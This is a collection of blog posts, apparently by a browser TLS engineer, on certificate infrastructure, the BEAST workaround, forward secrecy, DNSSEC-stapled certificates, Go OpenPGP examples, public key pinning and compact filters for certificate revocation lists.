Extracting Mozilla's Root Certificates

When people need a list of root certificates, they often turn to Mozilla's. However, Mozilla doesn't produce a nice list of PEM encoded certificates. Rather, they keep them in a form which is convenient for NSS to build from: https://mxr.mozilla.org/mozilla/source/security/nss/lib/ckfw/builtins/certdata.txt?raw=1.

Several people have written quick scripts to try and convert this into PEM format, but they often miss something critical: some certificates are explicitly distrusted. These include the DigiNotar certificates and the misissued COMODO certificates. If you don't parse the trust records from the NSS data file, then you end up trusting these too! There's at least one, major example of this that I know of.

(Even with a correct root file, unless you do hard fail revocation checking you're still vulnerable to the misissued COMODO certificates.)

So, at the prodding of Denton Gentry, I've open-sourced a tool for converting NSS's file to PEM format: extract-nss-root-certs. (At the time of writing it requires a 6g built from the weekly or current tree (hg -r weekly), not the release tree. A few of the APIs have changed since the last Go release was done. This will be resolved when Go 1.0 is released.)

BEAST followup

(See the original post for background.)

Everyone seems to have settled on 1/n-1 record splitting as a workaround for the BEAST attack in TLS 1.0 and SSLv3. Briefly: 1/n-1 record splitting breaks CBC encrypted records in two: the first with only a single byte of application data and the second with the rest. This effectively randomises the IV and stops the attack.

The workaround which OpenSSL tried many years ago, and which hit significant issues, was 0/n record splitting. It's the same thing, but with the first record being empty. The problem with it was that many stacks processed the empty record and returned a 0-byte read, which higher levels took to mean EOF.

1/n-1 record splitting doesn't hit that problem, but it turns out that there's a fair amount of code out there that assumes that the entire HTTP request comes in a single read. The single byte record breaks that.

We first implemented 1/n-1 record splitting in Chrome 15 but backed off after only a couple of days because logging into several large sites broke. But that did motivate the sites to fix things so that we could switch it on in Chrome 16 and it stuck that time.

Opera also implemented it around this time, but I think Chrome took the brunt of the bug reports and it's time consuming dealing with them. Myself and a colleague have been emailing and phoning a lot of sites and vendors while dealing with upset users and site admins. Chrome certainly paid a price for moving before Firefox and IE but then we're nice like that.

Thankfully, this week, Microsoft released a security update which implements 1/n-1 record splitting in SChannel and switches it on in IE. (Although it defaults to off for other users of SChannel, unlike NSS.) Now the sites which broke with Chrome 16 are also broken in a patched IE and that takes some pressure off us. In a few weeks, Firefox 10 should be released and then we'll be about as good as we're going to get.

After taking the brunt with Chrome 16, there is one case that I'm not going to fight: Plesk can't handle POST payloads that don't come in a single read. Chrome (currently) sends POSTs as two writes: one for the HTTP headers and a second for the POST body. That means that each write is split into two records and Plesk breaks because of the second split. IE and Firefox send the headers and body in a single write, so there's only a single split in the HTTP headers, which Plesk handles.

Chrome will start merging small POST bodies into the headers with Chrome 17 (hopefully) and this will fix Plesk. Also, merging as Firefox and IE do saves an extra packet so it's worthwhile on its own. Once again, anything that's mostly true soon becomes an unwritten rule on the Internet.

It's worth contrasting the BEAST response to the renegotiation attack. The BEAST workaround caused a number of problems, but it worked fine for the vast majority of sites. The renegotiation fix requires that very nearly every HTTPS site on the Internet be updated and then that browsers refuse to talk to unpatched servers.

I'd bet that we'll not manage to get enough patched servers for any browser to require it this side of 2020. Unpatched servers can still disable renegotiation to protect themselves, but it's still not hard to find major sites that allow insecure renegotiation (www.chase.com was literally the second site that I tried).

OTR in Go

“Off the record” is, unfortunately, an overloaded term. To many it's feature in gTalk and AOL IM which indicates that the conversation isn't logged. However, to crypto folks it's a protocol for secure chat.

(In fact, resoloving the ambiguity is on the EFF's wish list.)

Pidgin has been my chat client of choice for some time because it's pretty fully featured and supports OTR via a plugin. However, I just don't trust it from a security point of view. The latest incident was only a couple of weeks ago: CVE-2011-3919.

So, I implemented otr in Go, as well as an XMPP library and client. It's an absolutely minimal client (except for OTR support) and implements only what I absolutely need in a client.

But it does mean that the whole stack, including the TLS library, is implemented in a memory safe language. (On the other hand, pretty much everything in that stack, from the modexp function to the terminal handling code was written by me and has never really been audited. I'm a decent programmer but I'm sure there are some howlers of security issues in there somewhere.)

Certificate Transparency

(I don't have comments on this blog, but you can comment on my Google+ post.)

Ben Laurie and I have been working on a longer term plan for improving the foundations of the certificate infrastructure on which most Internet transport security is based on these days. Although Chrome has public key pinning for some domains, which limits the set of permitted certificates, we don't see public key pinning as a long term solution (and nor was it ever designed to be).

For the 10 second summary of the plan, I'll quote Ben: “certificates are registered in a public audit log. Servers present proofs that their certificate is registered, along with the certificate itself. Clients check these proofs and domain owners monitor the logs.”. I would add only that anyone can check the logs: the certificate infrastructure would be fully transparent.

We now have an outline of the basic idea and will be continuing to flesh it out in the coming months, hopefully in conjunction with other browser vendors.

But I thought that, at the outset, it would be helpful to describe some of the limitations to the design space, as I see them:

No side-channels

As I've previously described, side-channels occur when a browser needs to contact a server other than the immediate destination in order to verify a certificate. Revocation checking with OCSP is an example of a side-channel used today.

But in order to be effective, side-channels invariably need to block the certificate verification until they complete, and that's a big problem. The Internet isn't fully connected. Captive portals, proxies and firewalls all mean that the only thing you can really depend on talking to is the immediate destination server. Because of this, browsers have never been able to make OCSP lookups blocking, and therefore OCSP is basically useless for security.

And that's not to mention the privacy, performance and functionality issues that arise from needing side-channels. (What happens when the side-channel server goes down?)

So our design requires that the servers send us the information that we require. We can use side-channels to check up on the logs, but it's an asynchronous lookup.

It's not opt-in, it's all-in

SSL Stripping is a very easy and very effective attack. HSTS prevents it and is as easy to deploy as anything can be for HTTPS sites. But, despite all this, and despite a significant amount of evangelism, take up has been very limited, even by sites which are HTTPS only and the subject of attacks.

While HSTS really has to be opt-in, a solution to the certificate problem doesn't. Although our scheme is incrementally deployable, the eventual aim is that it's required for everybody. Thankfully, since certificates have to be renewed there's an obvious means to incrementally deploy it: require it for certificates issued after a certain date. Although an eventual hard requirement is still needed, it's a lot less of a problem.

It's easy on the server operator

Since the aim is to make it a requirement for all servers, we've sacrificed a lot in order to make it very easy on the server operator. For most server operators, their CA will probably take care of fetching the audit proofs, meaning there's no additional work at all.

Some initial designs included short-lived log signatures, which would have solved the revocation problem. (Revocation would simply be a matter of instructing the logs to stop signing a given certificate.) However, this would have required server operators to update their audit proofs on a near-daily basis. After discussions it became clear that such a requirement wouldn't be tenable for many and so we reluctantly dropped it.

We are also sacrificing decentralisation to make things easy on the server. As I've previously argued, decentralisation isn't all it's cracked up to be in most cases because 99.99% of people will never change any default settings, so we haven't given up much. Our design does imply a central set of trusted logs which is universally agreed. This saves the server from possibly having to fetch additional audit proofs at runtime, something which requires server code changes and possible network changes.

There are more valid certificates than the one that's currently serving

Cheap virtual hosting and EC2 have made multi-homed services common. Even small to medium scale sites have multiple servers these days. So any scheme that asserts that the currently serving certificate is the only valid certificate will run into problems when certificates change. Unless all the servers are updated at exactly the same time, then users will see errors during the switch. These schemes also make testing a certificate with a small number of users impossible.

In the end, the only real authority on whether a certificate is valid is the site itself. So we don't rely on external observations to decide on whether a certificate is valid, instead to seek to make the set of valid certificates for a site public knowledge (which it currently isn't), so that the site can determine whether it's correct.

It's not easy to do

We believe that this design will have a significant, positive impact on an important part of Internet security and that it's deployable. We also believe that any design that shares those two properties ends up looking a lot like it. (It's no coincidence that we share several ideas with the EFF's Sovereign Keys.)

None the less, deployment won't be easy and, hopefully, we won't be pushing it alone.

Forward secrecy for Google HTTPS

As announced on the Google Security Blog, Google HTTPS sites now support forward secrecy. What this means in practice is two things:

Firstly, the preferred cipher suite for most Google HTTPS servers is ECDHE-RSA-RC4-SHA. If you have a client that supports it, you'll be using that ciphersuite. Chrome and Firefox, at least, support it.

Previously we were using RSA-RC4-SHA, which means that the client (i.e. browser) picks a random key for the session, encrypts it with the server's public key and sends it to the server. Since only the holder of the private key can decrypt the session key, the connection is secure.

However, if an attacker obtains the private key in the future then they can decrypt recorded traffic. The encrypted session key can be decrypted just as well in ten years time as it can be decrypted today and, in ten years time, the attacker has much more computing power to break the server's public key. If an attacker obtains the private key, they can decrypt everything encrypted to it, which could be many months of traffic.

ECDHE-RSA-RC4-SHA means elliptic curve, ephemeral Diffie-Hellman, signed by an RSA key. You can see a previous post about elliptic curves for an introduction, but the use of elliptic curves is an implementation detail.

Ephemeral Diffie-Hellman means that the server generates a new Diffie-Hellman public key for each session and signs the public key. The client also generates a public key and, thanks to the magic of Diffie-Hellman they both generate a mutual key that no eavesdropper can know.

The important part here is that there's a different public key for each session. If the attacker breaks a single public key then they can decrypt only a single session. Also, the elliptic curve that we're using (P-256) is estimated to be as strong as a 3248-bit RSA key (by ECRYPT II), so it's unlikely that the attacker will ever be able to break a single instance of it without a large, quantum computer.

While working on this, Bodo Möller, Emilia Kasper and I wrote fast, constant-time implementations of P-224, P-256 and P-521 for OpenSSL. This work has been open-sourced and submitted upstream to OpenSSL. We also fixed several bugs in OpenSSL's ECDHE handling during deployment and those bug fixes are in OpenSSL 1.0.0e.

Session Tickets

The second part of forward secrecy is dealing with TLS session tickets.

Session tickets allow a client to resume a previous session without requiring that the server maintain any state. When a new session is established the server encrypts the state of the session and sends it back to the client, in a session ticket. Later, the client can echo that encrypted session ticket back to the server to resume the session.

Since the session ticket contains the state of the session, and thus keys that can decrypt the session, it too must be protected by ephemeral keys. But, in order for session resumption to be effective, the keys protecting the session ticket have to be kept around for a certain amount of time: the idea of session resumption is that you can resume the session in the future, and you can't do that if the server can't decrypt the ticket!

So the ephemeral, session ticket keys have to be distributed to all the frontend machines, without being written to any kind of persistent storage, and frequently rotated.

Result

We believe that forward secrecy provides a fairly significant benefit to our users and we've contributed our work back to OpenSSL in the hope that others will make use of it.

Classifying solutions to the certificate problem

This is something that I wrote up internally, but which Chris Palmer suggested would be useful to post publicly for reference. It presents some, somewhat artificial, axis on which I believe that all proposed solutions to addressing weaknesses in the current certificate ecosystem fall. By dividing the problem into those decisions, I hope to make the better solutions clearer.

Axis 1: Private vs public signing

At the moment we have private signing. A CA can sign a certificate and tell nobody about it and the certificate is still valid. This is the reason that we have to go crawl the Internet in order to figure out how many intermediate CA certs there are.

In public signing, certificates aren't valid unless they're public.

There are degrees of how public schemes are. Convergence is a public scheme: certificates have to be visible to the notaries, but it's a lot less public than a scheme where all certificates have to be published. And published where? Highly public schemes imply some centralisation.

Private schemes don't protect us from CAs acting in bad faith or CAs which have been compromised. Public schemes help a lot in these cases, increasingly so the more public they are. Although a certificate might be valid for a short time, evidence of misbehavior is recorded. Public schemes also allow each domain to monitor all the certificates for their domain. Fundamentally, the only entity that can answer the question of whether a certificate is legitimate is the subject of the certificate itself. (See this tale of a Facebook certificate.)

Private schemes have the advantage of protecting the details of internal networks (i.e. not leaking the name www.corp.example.com).

Axis 2: Side channels or not

Revocation checking which calls back to the CA is a side channel. Convergence notaries are too. OCSP stapling is not, because the server provides the client with everything that it needs (assuming that OCSP stapling worked).

Side channels which need to be a hard fail are a problem: it's why revocation checking doesn't actually work. Private networks, hotel networks and server downtime are the issues. Side-channels are also a privacy and performance concern. But they're easier on the server operator and so more likely to be deployed.

In the middle are soft-fail side-channels. These offer limited protection because the connection proceeds even when the side-channel fails. They often queue the certificate up for later reporting.

Axis 3: Clocks or not

OCSP with nonces doesn't need clock sync. OCSP with time stamps does.

Keeping clocks in sync is a problem in itself, but it allows for short lived statements to be cached. It can also be a useful security advantage: Nonces require that a signing key be online because it has to sign a constant stream of requests. With clocks, a single response can be served up repeatedly and the key kept largely off-line. That moves the online key problem to the clock servers, but that's a smaller problem. A compromised clock server key can be handled by querying several concurrently and picking the largest cluster of values.

Examples

OCSP today is {private,side-channel,clock}. The 'let's fix OCSP' solutions are typically {private,side-channel,no-clock} (with an option for no-side-channel). Convergence is {mostly-public,side-channel,no-clock}.

I think the answer lies with {public,no-side-channel,clock}, but it's a trek to get there. Maybe something for a future post.

False Start: Brocade broken again

I wrote previously that Brocade had released a firmware update for their ServerIron SSL terminators which fixed an incompatibility with False Start. However, it now appears that they didn't fix the underlying issue, rather they special cased Chrome's current behaviour.

Sadly, due to Chrome implementing a workaround for the BEAST attack, their special casing doesn't work anymore and breaks Chrome 15.

So, if you run a Brocade ServerIron you should contact me ASAP. I'll be adding sites running this hardware to the False Start blacklist for Chrome 15 to allow Brocade to release another firmware update.

Chrome and the BEAST

Thai Duong and Juliano Rizzo today demoed an attack against TLS 1.0's use of cipher block chaining (CBC) in a browser environment. The authors contacted browser vendors several months ago about this and so, in order not to preempt their demo, I haven't discussed any details until now.

Contrary to several press reports, Duong and Rizzo have not found, nor do they claim, any new flaws in TLS. They have shown a concrete proof of concept for a flaw in CBC that, sadly, has a long history. Early reports of the problem date back nearly ten years ago and Bard published two papers detailing the problem.

The problem has been fixed in TLS 1.1 and a workaround for SSL 3.0 and TLS 1.0 is known, so why is this still an issue?

The workaround (prepending empty application data records) is perfectly valid according to the protocol but several buggy implementations of SSL/TLS misbehaved when it was enabled. After Duong and Rizzo notified us, we put the same workaround back into Chrome to see if the state of the Internet had improved in the years since the last attempt. Sadly it was still infeasible to implement this workaround and the change had to be reverted.

Use of TLS 1.1 would also have solved the issue but, despite it being published in 2006, common SSL/TLS libraries still don't implement it. But even if there was widespread deployment of TLS 1.1, it wouldn't have helped avoid problems like this. Due to a different, common bug in SSL 3.0 implementations (nearly 12 years after SSL 3.0 was obsoleted by TLS 1.0), browsers still have to perform SSL 3.0 downgrades to support buggy servers. So even with a TLS 1.1 capable browser and server, an attacker can trigger a downgrade to SSL 3.0 and bypass the protections of TLS 1.1.

Finally, the CBC attacks were believed to be largely theoretical but, as Duong and Rizzo have pointed out today, that's no longer the case.

Initially the authors identified HTML5 WebSockets as a viable method of exploiting the CBC weakness but, due to unrelated reasons, the WebSockets protocol was already in the process of changing in such a way that stopped it. The new WebSockets protocol shipped with Chrome 14 but several plugins have been found to offer features that might allow the attack to be performed.

Duong and Rizzo confirmed that the Java plugin can be used, but Chrome already blocks the execution of Java by default. Other plugins, if installed, can be disabled on the about:plugins page if the user wishes.

The attack is still a difficult one; the attacker has to have high-bandwidth MITM access to the victim. This is typically achieved by being on the same wireless network as the victim. None the less, it's a much less serious issue than a problem which can be exploited by having the victim merely visit a webpage. (Incidentally, we pushed out a fix to all Chrome users for such a Flash bug only a few days ago.)

Also, an attacker with MITM abilities doesn't need to implement this complex attack. SSL stripping and mixed-scripting issues are much easier to exploit and will take continued, sustained effort to address. Duong and Rizzo have highlighted this fact by choosing to attack one of the few HSTS sites.

Thanks to an idea suggested by Xuelei Fan, we have another workaround for the problem which will, hopefully, cause fewer incompatibility problems. This workaround is currently being tested on the Chrome dev and beta channels but we haven't pushed it on the stable channel yet. Since we don't really know if the fix will cause problems it's not something that we want to drop on people without testing. The benefit of a fix to Chrome's TLS stack is also limited as Chrome already uses the newer WebSockets protocol and it doesn't fix problems in plugins.

If it turns out that we've misjudged something we can quickly react, thanks to Chrome's auto-update mechanism.

It's also worth noting that Google's servers aren't vulnerable to this problem. In part due to CBC's history, Google servers have long preferred RC4, a cipher that doesn't involve CBC mode. Mention has also been made of Chrome's False Start feature but, since we don't believe that there are any vectors using Chrome's stack, that's immaterial.

DNSSEC Certificates now in Chrome Stable

A few months back I described DNSSEC authenticated HTTPS in Chrome. This allows sites to use DNSSEC, rather than traditional, certificates and is aimed at sites which currently use no HTTPS, or self-signed certificates. Since Chrome 14 is now stable, all Chrome users now have this experimental feature.

(Also, the serialisation format has been documented.)

Why not Convergence?

In light of recent events, I've had several requests to implement Convergence in Chrome. For those who don't know and, frankly, for anyone interested in SSL, I highly recommend watching Moxie's talk on the subject from this year's Black Hat. You can also check out the project website.

Moxie, having actually thought about the issue and coded something up, has already done a thousand times more to address the problem than almost anyone else. But I don't think that Convergence is something we would add in Chrome:

Although the idea of trust agility is great, 99.99% of Chrome users would never change the default settings. (The percentage is not an exaggeration.) Indeed, I don't believe that an option for setting custom notaries would even meet the standards for inclusion in the preferences UI.

Given that essentially the whole population of Chrome users would use the default notary settings, those notaries will get a large amount of traffic. Also, we have a very strong interest for the notaries to function, otherwise Chrome stops working. Combined, that means that Google would end up running the notaries. So the design boils down to Chrome phoning home for certificate validation. That has both unacceptable privacy implications and very high uptime requirements on the notary service.

It also doesn't address the two problems that Moxie highlights: internal servers and captive portals. It's not clear how either would work in this design, at least without giving up on security and asking the user. (These two problems, captive portals esp, are the bane of many an idea in this area.)

None of the above argues against allowing Convergence as an extension for those who wish to run it. We don't currently have an extension API for controlling certificate decisions and I'm not inherently opposed to one. It would be additional complexity and something that we would have to support in the future, so it's not without costs, but mostly it's not there because nobody has written it and I'm afraid that I don't have any plans to do so.

False Start: past time to fix your servers

A year ago I wrote about False Start in Chrome. In short: Chrome cuts the TLS handshake short to save a round trip in a full handshake. Since then we've posted results that show a 30% drop in SSL handshake latency.

When we enabled False Start by default in Chrome, we also included a list of the very small number of incompatible sites. This list was built into the browser in order to avoid breaking these sites. (See the original post for the reasoning.)

For some time I've been randomly eliminating chunks of that list. Mostly it's been the case that sites have already upgraded. I don't think that they did so specifically with False Start in mind, but that it was just a regular maintainance.

But it's now time that all sites are updated because the list is fading away fast:

• If you run A10 SSL terminators, ensure that you have firmware >= 2.4.3-p4
• If you run Brocade SSL terminators, ensure that you have firmware >= 10.2.01y
• If you run F5 SSL terminators, you need to be running the native SSL stack (which is the default, as opposed to the `compat' stack)
• If you run FTMG SSL terminators, you need Service Pack 2

DNSSEC authenticated HTTPS in Chrome

DNSSEC validation of HTTPS sites has been hanging around in Chrome for nearly a year now. But it's now enabled by default in the current canary and dev channels of Chrome and is on schedule to go stable with Chrome 14. If you're running a canary or dev channel (and you need today's dev channel release: 14.0.794.0) then you can go to https://dnssec.imperialviolet.org and see a DNSSEC signed site in action.

DNSSEC stapled certificates (and the reason that I use that phrase will become clear in a minute) are aimed at sites that currently have, or would use, self-signed certificates and, possibly, larger organisations that are Chrome based and want certificates for internal sites without having to bother with installing a custom root CA on all the client devices. Suggesting that this heralds the end of the CA system would be utterly inaccurate. Given the deployed base of software, all non-trival sites will continue to use CA signed certificates for decades, at least. DNSSEC signing is just a gateway drug to better transport security.

I'm also going to see how it goes for a while. The most likely outcome is that nobody uses them and I pull the code out in another year's time. There are also some risks:

In theory, it should be hard to get a CA certificate for, say, paypa1.com (note the digit 1 in there). The CA should detect a phishing attempt and deny the certificate. With DNSSEC, there's no such filtering and a phisher could get a green padlock on any site that they can get a DNS name for. It's not clear whether this filtering is actually enforced by all public CAs, nor that phishing is more effective over HTTPS. Additionally, Chrome has anti-phishing warnings built in which is a better layer at which to handle this problem.

In the end, if you want a certificate that identifies a legal entity, rather than a domain name, then you want EV certificates. None the less, if DNSSEC stapled certificates end up being predominantly used for abuse then I'll probably kill them.

It's also possible that lots of sites will use these certificates, triggering warnings in other browsers thus further desensitising those users to such warnings. But that's one of those “good to have” problems and, in this very unlikely situation, there will have to be a push to add wider support.

For site operators

For site operators it's not just a question of dropping in a DNS record and forgetting about it (although nearly). The DNSSEC chain has to be embedded in the certificate and the certificate has to be refreshed, probably in a nightly cron job.

This is why I used the phrase “DNSSEC stapled certificate” above. These certificates are self-signed X.509 certificates with a DNSSEC chain embedded in an extension. The alternative would be to have the client perform a DNSSEC lookup itself. In the long term this may be the answer but, for now, client platforms don't support DNSSEC resolution and I'm in no rush to drop a DNSSEC resolving library into Chrome. We also have data that suggests that ~1% of Chrome (Linux) users can't resolve arbitary DNS record types (because of ‘hotel networks’, firewalls etc). Finally, having the client do a lookup is slower. Since DNSSEC data is signed it doesn't matter how you get it so having the server do the work and cache the result is simplier, faster and dependable.

The DNSSEC stapled data is embedded in an X.509 certificate (as opposed to extending TLS or using a different certificate format) because every HTTPS server will take an X.509 certificate as an opaque blob and it Just Works. All the other possiblilies introduce significant barriers to adoption.

You should also keep in mind that the format of the DNS record may change in the future. I've no current plans to change it but these things are still working themselves out.

Setting it up

First you need a zone that's DNSSEC signed. Setting that up is a little beyond the scope of this blog post but I use BIND with auto-signing as a server and DynDNS as a registra.

Second, you need to clone git://github.com/agl/dnssec-tls-tools.git.

$ openssl genrsa 1024 > privkey.pem
$ openssl rsa -pubout -in privkey.pem > pubkey.pem
$ python ./gencaa.py pubkey.pem
EXAMPLE.COM. 60 IN TYPE257 \# 70 020461757468303e3039060a2b06010401d6790203010…

Take the DNS record that's printed out by gencaa.py, change the domain name (and possibly the TTL) and add it to your zone. If you need to do anything else to make the record accessable to the world, do that now. You should be able to see the record with dig -t type257 example.com.

Now we get the DNSSEC chain and create a certificate with it embedded:

$ python ./chain.py example.com chain
$ gcc -o gencert gencert.c -Wall -lcrypto
$ ./gencert privkey.pem chain > cert.pem

You can check the certificate with openssl x509 -text < cert.pem | less.

CNAMES should work but I haven't implemented DNS wildcards. Also, that code was written to run easily (hence C and Python) rather than being nice code that's going to handle lots of edge cases well. chain.py is just shelling out to dig :)

You now have a key pair (privkey.pem and cert.pem) that can be used by any HTTPS server in the usual way. Keep in mind that DNSSEC signatures expire, often on the order of a week. So you'll need to setup a cron job to download the chain, rebuild the certificate and HUP the HTTPS server.

OpenPGP support in Go

Go is currently my favourite programming language for recreational programming. Mentioning Go appears to send some people into a rage judging by the sort of comments that arise on Hacker News, proggit and so on but, thankfully, this blog doesn't have comments.

Over the past few months I've been (very) slowly building OpenPGP support into Go's crypto library. (You can get my key, DNSSEC signed, via PKA: dig +dnssec -t txt agl._pka.imperialviolet.org). I don't get to use PGP often enough but, even when I have (I used to run an email verifying auto-signer), I've resorted to shelling out to gpg. I understand that GPG's support for acting as a library has improved considerably since then, but half the aim of this is that it's recreational programming.

So, here's a complete Go program using the OpenPGP library: (Note, if you wish to compile these programs you'll need a tip-of-tree Go)

package main

import (
  "crypto/openpgp"
  "crypto/openpgp/armor"
  "fmt"
  "os"
)

func main() {
  w, _ := armor.Encode(os.Stdout, "PGP MESSAGE", nil)
  plaintext, _ := openpgp.SymmetricallyEncrypt(w, []byte("golang"), nil)
  fmt.Fprintf(plaintext, "Hello from golang.\n")
  plaintext.Close()
  w.Close()
  fmt.Print("\n")
}

It'll output a symmetrically encrypted message, like this:

-----BEGIN PGP MESSAGE-----

wx4EBwMCkdZyiLAEewZgIuDNFqo0FBYNp4ZGpaiaAjHS4AHkLcerCkW9sCqLdBQc
GH6HUOEwZeCr4ILhUBHgnOID5zAh4PDkdVSUDxFj0KITDfgDXMptL+Ai4aTL4Mzg
4uCX5C7gKEnS8gsxdwC67zQzUMbiSS92duG39AA=
=NuOw
-----END PGP MESSAGE-----

You can feed that into gpg -c and decrypt with the passphrase golang if you like. Since all the APIs are stream based you can process arbitrary length messages without having to fit them into memory.

We can also do public key stuff:

package main

import (
  "crypto/openpgp"
  "crypto/openpgp/armor"
  "fmt"
  "os"
)

func getKeyByEmail(keyring openpgp.EntityList, email string) *openpgp.Entity {
  for _, entity := range keyring {
    for _, ident := range entity.Identities {
      if ident.UserId.Email == email {
        return entity
      }
    }
  }

  return nil
}

func main() {
  pubringFile, _ := os.Open("pubring.gpg")
  pubring, _ := openpgp.ReadKeyRing(pubringFile)
  privringFile, _ := os.Open("secring.gpg")
  privring, _ := openpgp.ReadKeyRing(privringFile)

  myPrivateKey := getKeyByEmail(privring, "me@mydomain.com")
  theirPublicKey := getKeyByEmail(pubring, "bob@example.com")

  w, _ := armor.Encode(os.Stdout, "PGP MESSAGE", nil)
  plaintext, _ := openpgp.Encrypt(w, []*openpgp.Entity{theirPublicKey}, myPrivateKey, nil)
  fmt.Fprintf(plaintext, "Hello from golang.\n")
  plaintext.Close()
  w.Close()
  fmt.Printf("\n")
}

And, of course, it can also decrypt those messages, check signatures etc. The missing bits are ElGamal encryption, support for clearsigning and big bits of functionality around web-of-trust, manipulating keys etc. None the less, Camlistore is already using it and it appears to be working for them.

Public key pinning

Starting with Chrome 13, we'll have HTTPS pins for most Google properties. This means that certificate chains for, say, https://www.google.com, must include a whitelisted public key. It's a fatal error otherwise. Credit goes to my colleague, Chris Evans, for much of this.

The whitelisted public keys for Google currently include Verisign, Google Internet Authority, Equifax and GeoTrust. Thus Chrome will not accept certificates for Google properties from other CAs. As ever, you can look at the source if you wish (search that file for "Verisign"). DigiCert also issues some of our certificates, but we aren't yet enforcing pinning for those domains.

This works with HSTS preloading of Google properties to ensure that, when a user types gmail.com into the address bar, they only get the real Gmail, no matter how hostile the network.

What about MITM proxies, Fiddler etc?

There are a number of cases where HTTPS connections are intercepted by using local, ephemeral certificates. These certificates are signed by a root certificate that has to be manually installed on the client. Corporate MITM proxies may do this, several anti-virus/parental control products do this and debugging tools like Fiddler can also do this. Since we cannot break in these situations, user installed root CAs are given the authority to override pins. We don't believe that there will be any incompatibility issues.

Why public key hashes, not certificate hashes?

In general, hashing certificates is the obvious solution, but the wrong one. The problem is that CA certificates are often reissued: there are multiple certificates with the same public key, subject name etc but different extensions or expiry dates. Browsers build certificates chains from a pool of certificates, bottom up, and an alternative version of a certificate might be substituted for the one that you expect.

For example, StartSSL has two root certificates: one signed with SHA1 and the other with SHA256. If you wished to pin to StartSSL as your CA, which certificate hash would you use? You would have to use both, but how would you know about the other root if I hadn't just told you?

Conversely, public key hashes must be correct:

Browsers assume that the leaf certificate is fixed: it's always the starting point of the chain. The leaf certificate contains a signature which must be a valid signature, from its parent, for that certificate. That implies that the public key of the parent is fixed by the leaf certificate. So, inductively, the chain of public keys is fixed, modulo truncation.

The only sharp edge is that you mustn't pin to a cross-certifying root. For example, GoDaddy's root is signed by Valicert so that older clients, which don't recognise GoDaddy as a root, still trust those certificates. However, you wouldn't want to pin to Valicert because newer clients will stop their chain at GoDaddy.

Also, we're hashing the SubjectPublicKeyInfo not the public key bit string. The SPKI includes the type of the public key and some parameters along with the public key itself. This is important because just hashing the public key leaves one open to misinterpretation attacks. Consider a Diffie-Hellman public key: if one only hashes the public key, not the full SPKI, then an attacker can use the same public key but make the client interpret it in a different group. Likewise one could force an RSA key to be interpreted as a DSA key etc.

(It's possible that a certificate could be reissued with a different SPKI for the same public key. That would be a second sharp edge but, to my knowledge, that has never happened. SPKIs for any public key type should have a distinguished encoding.)

Can I get this for my site?

If you run a large, high security site and want Chrome to include pins, let me know. For everyone else we hope to expose pinning via HSTS, although the details have yet to be worked out. You can experiment with pinning via the HSTS debug UI (chrome://net-internals/#hsts) if you have a new enough version of Chrome.

Smaller than Bloom filters

I've been looking at what would be needed in order to have a global view of CRLs in browsers. At the moment revocation has three problems: privacy (by asking the CA about the status of a certificate you're revealing to them what you're looking at), performance (OCSP checks take hundreds of milliseconds which adds up to thousands of milliseconds when subdomains are in play) and functionality (it doesn't work).

Having a global view of (nearly) all CRLs would mostly solve these issues. We could quickly determine that a certificate is good without leaking information and perform a hard fail revocation check if we believe that a certificate has been revoked. So that begs the question of how to get a global view of CRLs to the client. A Bloom filter would be the obvious choice since we can't accept false negatives (and a Bloom doesn't generate them) but we can cope with false positives (which it does produce).

But we really want to keep this structure small. Every extra KB has to be transferred to hundreds of millions of clients (including mobile devices) and takes up memory on each of those devices. We also have another trick up to play: we don't care much about query time. For a normal Bloom filter, query time is very important but here, if it took several milliseconds, that would be ok.

Given those limitations we can look at data structures other than a traditional Bloom filter and which are smaller and slower.

An optimum Bloom filter takes up n·log(e)ln(1/p) bits (where p is the false positive probability and n is the number of inserted elements). You can't always hit that because you can't have a fraction of a hash function but the theoretical lower bound is just n·log(1/p) bits, a factor if log(e)≅1.44 smaller. Other structures get closer to this bound.

First, there are compressed bloom filters[PDF]. The idea here is that one builds a larger Bloom filter with fewer hash functions and compresses it. In the paper they discuss compressing for transport, but I'm also thinking about it being compressed in memory. An interesting result from the paper is that the optimum number of hash functions for a normal Bloom filter is actually the worst case for a compressed filter.

The optimum number of hash functions for a compressed Bloom is one. Normally that would make the Bloom too large to deal with uncompressed, but if you're not actually going to store the uncompressed version, that's less of an issue.

A Bloom filter with a single hash function requires 1/p bits per element. From that, it's obvious that the density of the filter is p. So a perfect entropy coder (and a range coder is basically perfect) should be able to compress that to just n·1/p·H(p) bits, where H is the binary entropy. Now we can consider how close a compressed Bloom gets to the lower bound that we considered before

A compressed bloom takes 1/p·H(p) per element and the lower bound is ln(1/p). Here's a Wolfram Alpha plot of the expansion factor. The expansion factor goes from about 0.1 to 0.2 over a range of reasonable values of p. For p = 1/1024, it's 0.144. Remember that the expansion factor of a normal Bloom filter is 0.44, so that's quite a bit better.

However, the uncompressed size, even if you're just streaming it, is a problem. For 400K revoked certificates with a 1 in 1024 false positive rate, you're looking at 51MB of uncompressed data. In order to process that you would have to call into the entropy coder 410 million times.

There's an obvious solution to this: split the Bloom into chunks and hash the input in order to find the correct chunk. That works fine, but there's also another answer which may be cleaner: Golomb Compressed Sets. (The idea was first mentioned in this paper, I believe.)

A GCS mirrors the structure of the compressed Bloom filter: we're hashing the elements into a space of size n/p. But, while a compressed Bloom filter treats this as a bitmap, a GCS treats it as a list of values. Since the values are the result of hashing, we can assume that they are uniformly distributed, sort them and build a list of differences. The differences will be geometrically distributed with a parameter of p. Golomb coding is the optimal encoding for geometrically distributed values: you divide by 1/p, encode that in unary then encode the remainder in binary.

A GCS is going to be slightly larger than a compressed bloom filter because the Golomb coding uses a whole number of bits for each value. I don't have an equation for the overhead, but I found it to be between 0.1 and 0.2 bits per set element, which is pretty minimal. It's also an advantage because it means that the user can index the GCS to any degree. With a chunked, compressed Bloom filter the generator has to decide on the chunking and also deal with the inefficiencies resulting from imperfect balance.

But what about that lower bound, can anything hit it? Yes, matrix filters (paper). The idea here is that you hash elements into n values of a finite field. Then, from n such elements you have an n by n matrix where the rows are independent with very high probability. You then perform Gaussian elimination to solve M·b = 1 (where M is the matrix, b is an n column vector and 1 is an n column vector of ones).

After this, b is your matrix filter. Given b, one can hash an element to generate a vector, multiply by b and get the original value back. If the equation was in M then the result has to be 1. Otherwise, the result is a random element from the field. If you use GF(2¹⁰) as the field, then the false positive probability is 1 in 1024.

As an example, consider the case of a two element set. You would hash these elements into equations that define lines in the plane and the matrix filter is the intersection of these lines. Querying the filter means hashing the element to form a line and seeing if it intersects that point.

Matrix filters can also be used to associate values with the elements. In this case, for an element in the set you'll always get the correct value and for anything else you'll get a random value. (So you don't get to know if the element was in the set in this case.)

